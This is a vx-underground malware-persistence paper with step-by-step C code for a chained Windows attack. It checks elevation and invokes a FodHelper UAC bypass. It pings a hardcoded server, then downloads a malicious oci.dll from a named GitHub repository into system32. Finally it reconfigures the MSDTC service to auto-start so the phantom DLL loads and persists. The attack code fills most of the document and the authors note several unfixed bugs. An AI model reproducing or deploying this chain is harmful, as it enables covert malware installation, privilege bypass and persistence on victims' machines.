Kusarigama:

Demonstrating non-modular chained attacks for malware persistence

vx-underground collection // by smelly__vx and Ethereal

[entry 3 of the vx-underground persistence series]

Introduction:

The fourth entry in the malware persistence series will illustrate an array of different attack methodologies, e.g. chaining, to achieve persistence via Phantom DLL Hijacking. This paper, as well as the attached code segment, will demonstrate a UAC Bypass, a generic DLL Trojan-Downloader technique using the native Windows WININET API, and finally we conjure the Phantom DLL Hijack by targeting oci.dll.

The primary objective in this proof-of-concept was to demonstrate Phantom DLL Hijacking as a form of Windows Service based persistence. However, due to this technique requiring both administrative privileges as well as a DLL, we decided to chain methods to illustrate how malware found in the wild could potentially operate.

Finally, it should be noted that none of the attack methods used are unique. Each methodology used can be found in great detail on various websites. We will avoid describing each method in detail as that would go beyond the scope of this paper. Furthermore, the code in this paper contains issues which we have not addressed.

1. The UAC Bypass segment utilizes the Features-on-Demand UAC bypass method. This method was recently used by TrickBot hence it is flagged easily
2. UAC Bypasses are NOT Local Privilege Escalation. In the event this proof-of-concept is executed by a user with non-administrative privileges it will fail.
3. When determining internet connectivity it uses the Windows Internet Helper API library for sending ICMP echo requests. In the event the machine has strict outbound rules applied to ICMP, it may result in false positives or potential failure
4. There is a known time-out issue with the FodHelper UAC bypass code. The proof-of-concept code we wrote does not properly utilize WaitForSingleObject and, in rare scenarios, may execute FodHelper after the Registry sanitization code has been executed resulting in a botched UAC Bypass attempt
5. The WININET code does not generate appropriate HTTP headers. Depending on where the malicious DLL is housed - it may result in an incomplete download.

The Code:

1. Get a pointer to the Process Environment Block by invoking __readgsqword with a parameter of 96bytes as the offset.

```
PPEB Peb = (PPEB)__readgsqword(0x60);
```

2. Determine if the PEB member OSMajorVersion is greater than 6 - the DLL utilized, Iphlpapi.dll, is only available on Windows Server 2008 and above. If the OSMajorVersion is less than 6 our code will go to EXIT_ROUTINE.

```
if (Peb->OSMajorVersion < 6)
     goto EXIT_ROUTINE;
```

3. Following the OSMajorVersion check, our code base will determine the current processes privileges. If the code is not running as admin we will attempt to invoke our UAC Bypass code. In the event our UAC Bypass code fails, it will go to the EXIT_ROUTINE. However, in the event it succeeds our code returns ERROR_SUCCESS indicating the UAC Bypass was successful. This will be evaluated again upon restart.

```
if (!AmIAdmin())
{
     if (UACBypass() != ERROR_SUCCESS)
          goto EXIT_ROUTINE;
     else
          return ERROR_SUCCESS;
}
```

4. The AmIAdmin function invokes the OpenProcessToken function with the first parameter, ProcessHandle, being the handle to our process via invocation of GetCurrentProcess(). Additionally, our second parameter is the TOKEN_QUERY access mask to set the stage to our subsequent call to GetTokenInformation(). GetInformationToken is called with the TokenInformationClass parameter set to TokenElevation. In the event GetTokenInformation is successful the returned BOOLEAN value indicates whether or not our current module is running in an elevated status.

```
BOOL AmIAdmin(VOID)
{
    BOOL AmIAdmin = FALSE;
    HANDLE HToken = NULL;
    TOKEN_ELEVATION Elevation = { 0 };
    DWORD dwSize;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &HToken))
        goto EXIT_ROUTINE;

    if (!GetTokenInformation(HToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize))
        goto EXIT_ROUTINE;

    AmIAdmin = Elevation.TokenIsElevated;

EXIT_ROUTINE:

    if (HToken)
    {
        CloseHandle(HToken);
        HToken = NULL;
    }
    return AmIAdmin;
}
```

5. The UAC Bypass method utilized in this code is the FodHelper UAC Bypass found by a person at winscripting.blog. It is a fairly standard implementation. This code creates the appropriate registry keys, calls CreateProcess to spawn cmd.exe with the command line arguments being our malicious module, then sanitizes the registry by invoking our custom function RegDeleteEntry.

   Due to the size of the UAC Bypass code, and the genericness of it, it is not displayed in this PDF. Please see the accompanied cpp file to review it.

6. When our malicious binary has achieved an elevated status we begin the second segment of our chain. We will set the stage to download our malicious DLL. We begin by calling our IsOnline() function. IsOnline() dynamically imports ICMP echo request functionality from Iphlpapi.dll and other necessary functions from ntdll.dll.

```
hLibrary = LoadLibraryW(L"Iphlpapi.dll");
if (hLibrary == NULL)
      goto EXIT_ROUTINE;

hNtdllMod = GetModuleHandle(L"ntdll.dll");
if (hNtdllMod == NULL)
      goto EXIT_ROUTINE;

IcmpSendEcho = (ICMPSENDECHO)GetProcAddress(hLibrary, "IcmpSendEcho");
IcmpCreateFile = (ICMPCREATEFILE)GetProcAddress(hLibrary, "IcmpCreateFile");
IcmpCloseHandle = (ICMPCLOSEHANDLE)GetProcAddress(hLibrary, "IcmpCloseHandle");
RtlIpv4AddressToStringW = (RTLIPV4ADDRESSTOSTRINGW)GetProcAddress(hNtdllMod, "RtlIpv4AddressToStringW");

if (!IcmpCreateFile || !IcmpSendEcho || !IcmpCloseHandle || !RtlIpv4AddressToStringW)
      goto EXIT_ROUTINE;
```

[Continued below]

7. If the functions are successfully imported we then begin to ping vx-underground.org by invoking IcmpCreateFile, allocating a buffer for our ICMP ECHO request for our subsequent call to IcmpSendEcho, then finally after invocation of IcmpSendEcho we transform our in_addr structure to a string via RtlIpv4AddressToStringW and perform a wide character string comparison to ensure the correct IP address has responded to the ICMP ECHO request.

```
hHandle = IcmpCreateFile();
if (hHandle == INVALID_HANDLE_VALUE)
    goto EXIT_ROUTINE;

dwReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData);
lpReplyBuffer = (LPVOID)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
(SIZE_T)dwReplySize);
if (lpReplyBuffer == NULL)
    goto EXIT_ROUTINE;

dwError = IcmpSendEcho(hHandle, uIpAddress, SendData,
                       sizeof(SendData), NULL,
                       lpReplyBuffer, dwReplySize, 1000);
if (dwError != 0)
{
    PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)lpReplyBuffer;
    struct in_addr ReplyAddr = { 0 };

    ReplyAddr.S_un.S_addr = pEchoReply->Address;

    RtlIpv4AddressToStringW(&ReplyAddr, wAddress);
}
else
    goto EXIT_ROUTINE;

if (wcscmp(L"173.208.211.68", wAddress) != 0)
    goto EXIT_ROUTINE;
```

8. Our chained methodologies continue with our PmDownloadPhantomDll function.

```
    if (!AmIAdmin())
    {
      if (UACBypass() != ERROR_SUCCESS)
           goto EXIT_ROUTINE;
      else
           return ERROR_SUCCESS;
    }

    if (!IsOnline())
      goto EXIT_ROUTINE;

    if (PmDownloadPhantomDll() != ERROR_SUCCESS)
      goto EXIT_ROUTINE;
```

9. PmDownloadPhantomDll initializes WININET usage via InternetOpenW with the lpszAgent parameter being a hardcoded legacy agent. Following a successful initialization we invoke InternetOpenUrlW with the internet file path being a GitHub repository containing the malicious DLL.

```
hInternetOpen = InternetOpenW(wLegacyAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hInternetOpen == NULL)
    goto EXIT_ROUTINE;

hInternetConnect = InternetOpenUrlW(hInternetOpen, L"https://github.com/smellyvx/MyMalcode/raw/main/oci.dll",
                                    NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hInternetConnect == NULL)
    goto EXIT_ROUTINE;
```

10. Once we have successfully gotten a connection to the GitHub repository we create the oci.dll file in system32 dynamically via invocation of GetEnvironmentVariable and CreateFileW.

```
if (GetEnvironmentVariableW(L"SYSTEMROOT", FileCreationPath, MAX_PATH) == 0)
    goto EXIT_ROUTINE;
else
    wcscat(FileCreationPath, L"\\system32\\oci.dll");

hHandle = CreateFile(FileCreationPath, GENERIC_READ | GENERIC_WRITE,
                     0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (hHandle == INVALID_HANDLE_VALUE)
    goto EXIT_ROUTINE;
```

11. If the oci.dll file has been successfully created we then invoke InternetReadFile and WriteFile to read the oci.dll binary from our GitHub repository. It will continue to read in blocks of 4096 bytes until InternetReadFile returns TRUE and 0 bytes read.

```
for (; dwBytesRead > 0;)
{
    DWORD dwTemp = 0;
    ZeroMemory(tBuffer, 4096);

    if (!InternetReadFile(hInternetConnect, tBuffer, 4096, &dwBytesRead))
       goto EXIT_ROUTINE;

    if (!WriteFile(hHandle, tBuffer, dwBytesRead, &dwTemp, NULL))
       goto EXIT_ROUTINE;
}
```

12. Finally, if every step has been successful, we invoke InitMsdtcService. This function is responsible for modifying the Msdtc service to both start and auto-run when the system reboots hence achieving persistence.

```
if (PmDownloadPhantomDll() != ERROR_SUCCESS)
      goto EXIT_ROUTINE;

if (!InitMsdtcService())
      goto EXIT_ROUTINE;
```

13. InitMsdtcService calls OpenSCManager in an attempt to establish a connection to the service control manager. In the event it is successful we then get a handle on MSDTC via OpenServiceW. Prior to modification we query its current status via QueryServiceStatusEx to determine if the service is currently running. If it is running we exit - our binary is already in place and the service is running. Persistence has already been achieved.

```
hService = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASEW, SC_MANAGER_ALL_ACCESS);
if (hService == NULL)
    goto EXIT_ROUTINE;

hMdtsc = OpenServiceW(hService, L"MSDTC", SC_MANAGER_ALL_ACCESS);
if (hMdtsc == NULL)
    goto EXIT_ROUTINE;

if (!QueryServiceStatusEx(hMdtsc, SC_STATUS_PROCESS_INFO,
                          (LPBYTE)&ssStatus, sizeof(SERVICE_STATUS_PROCESS), &dwError)) goto EXIT_ROUTINE;

if (ssStatus.dwCurrentState != SERVICE_STOPPED && ssStatus.dwCurrentState != SERVICE_STOP_PENDING)
    goto EXIT_ROUTINE;
```

14. Following this the code base contains a great deal of mundane code waiting for the SERVICE_STOP_PENDING status to change to SERVICE_STOPPED. Once the service has successfully stopped we invoke QueryServiceConfigW to allocate a LPQUERY_SERVICE_CONFIGW buffer to make an additional call to QueryServiceConfigW to aggregate MSDTC service configurations. If our subsequent invocation of QueryServiceConfigW is successful we evaluate the member dwStartType. If dwStartType is not set to SERVICE_AUTO_START we invoke ChangeServiceConfigW to ensure MSDTC runs at start. We conclude this segment by calling StartServiceW to start the new service with the newly equipt phantom DLL.

[Continued below]

```
QueryServiceConfigW(hMdtsc, NULL, 0, &dwError);

lpQuery = (LPQUERY_SERVICE_CONFIGW)HeapAlloc(GetProcessHeap(),
                                    HEAP_ZERO_MEMORY, dwError);
if (lpQuery == NULL)
    goto EXIT_ROUTINE;

dwDispose = dwError;

if (!QueryServiceConfigW(hMdtsc, lpQuery, dwDispose, &dwError))
    goto EXIT_ROUTINE;

if (lpQuery->dwStartType != SERVICE_AUTO_START)
{
    if (!ChangeServiceConfigW(hMdtsc,
                              SERVICE_NO_CHANGE,
                              SERVICE_AUTO_START,
                              SERVICE_NO_CHANGE,
                              NULL,
                              NULL,
                              NULL,
                              NULL,
                              NULL,
                              NULL,
                              NULL))
    {
        goto EXIT_ROUTINE;
    }

    if (!StartServiceW(hMdtsc, 0, NULL))
        goto EXIT_ROUTINE;

    dwError = ERROR_SUCCESS;
    if (!QueryServiceStatusEx(hMdtsc, SC_STATUS_PROCESS_INFO,
                              (LPBYTE)&ssStatus,
                              sizeof(SERVICE_STATUS_PROCESS), &dwError))
        goto EXIT_ROUTINE;
}
```